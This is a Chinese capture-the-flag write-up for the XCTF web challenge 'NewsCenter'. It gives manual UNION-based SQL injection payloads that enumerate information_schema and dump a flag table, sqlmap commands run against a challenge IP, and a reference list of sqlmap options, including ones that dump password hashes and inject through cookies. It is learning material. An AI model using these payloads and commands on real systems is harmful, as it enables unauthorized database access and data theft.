目录

攻防世界webNewsCenter含sqlmap基本参数讲解

攻防世界web:NewsCenter(含sqlmap基本参数讲解)

直接在页面内部进行注入

https://i-blog.csdnimg.cn/direct/61c3a3150a47472cad5eac651e4a2525.png 页面长上述这个样子,从可搜索和有回应可以判断得到应该是SQL注入相关的内容。因此考虑SQL注入方式进行解题。 输入: ?id=1' union select 1,2,3-- 显示: https://i-blog.csdnimg.cn/direct/3795617eeb384c75a0f331da3792ea2e.png 说明第二行和第三行有内容回应,查找数据库的名字,输入: ?id=1' union select 1,2,database()-- 可以得到: https://i-blog.csdnimg.cn/direct/9596d2fcf1494101b809c9b907d37349.png 所以数据库的名字是news。进一步从数据库中查找表名,输入: ?id=1' union select 1,2,table_name from information_schema.tables where table_schema='news'# 得到结果: https://i-blog.csdnimg.cn/direct/5e61835951d649c69a5905132d02ad3f.png 所以表名为:secret_table,然后就可以直接从表中查找信息了。输入: ?id=1' union select 1,2,group_concat(fl4g) from secret_table-- - 知识点有:

mysql中的information_schema 结构用来存储数据库系统信息

information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。 | SCHEMATA ――>存储数据库名的, |——>关键字段:SCHEMA_NAME,表示数据库名称 | TABLES ――>存储表名的 |——>关键字段:TABLE_SCHEMA表示表所属的数据库名称; TABLE_NAME表示表的名称 | COLUMNS ――>存储字段名的 |——>关键字段:TABLE_SCHEMA表示表所属的数据库名称; TABLE_NAME表示所属的表的名称 COLUMN_NAME表示字段名

下面是用sqlmap解答的版本

先查数据库名字: python sqlmap.py -u http://61.147.171.106:49896 --data='search=1' --dbs 得到结果 https://i-blog.csdnimg.cn/direct/e6f450954b2f452db8051a8272651fa0.png 然后再查数据库中含表的名字: python sqlmap.py -u http://61.147.171.106:49896 --data='search=1' --tables -D 'news' 得到结果: https://i-blog.csdnimg.cn/direct/0e858ce0266e49debbb58416b2a8e5f7.png 再从表中来得到所有行的信息: python sqlmap.py -u http://61.147.171.106:49896 --data='search=1' -T 'secret_table' --dump https://i-blog.csdnimg.cn/direct/1a532b95835b419a91c1851714eb345f.png 后面补充一下sqlmap中主要参数的含义 -v #详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容 建议使用等级 3 ,可以看到注入语句的Payload,利于入门者学习。 -u “http://xxx/Less-1/?id=1” 注入点 -f #指纹判别数据库类型 -b #获取数据库版本信息 -p #指定可测试的参数(?page=1&id=2 -p “page,id”) –level=(1-5) #要执行的测试水平等级,默认为1 level 算是一共注入测试等级,一共是五级,级别越高,检测的内容也就越多,检测级别大于等于 2 时会检测 cookie 是否有注入,检测级别大于等于 3 时会检测 User-Agent 和 Referer 是否有注入。比较推荐使用 5 等级进行测试,确保不会漏掉注入点。 –risk=(0-3) #测试执行的风险等级,默认为1 一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级 –time-sec=(2,5) #延迟响应,默认为5 –data #通过POST发送数据 –columns #列出字段 –current-user #获取当前用户名称 –current-db #获取当前数据库名称 –users #列数据库所有用户 –passwords #数据库用户所有密码 –privileges #查看用户权限(–privileges -U root) –dbs #列出所有数据库 –tables -D "" #列出指定数据库中的表 –columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段 –dump-all #列出所有数据库所有表 –dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname) -D DB #要进行枚举的指定数据库名 -T TBL # DBMS数据库表枚举 -C COL # DBMS数据库表列枚举 –is-dba #是否是数据库管理员 –data "" #POST方式提交数据(–data “page=1&id=2”) –cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) –referer "" #使用referer欺骗(–referer “ ”) –user-agent "" #自定义user-agent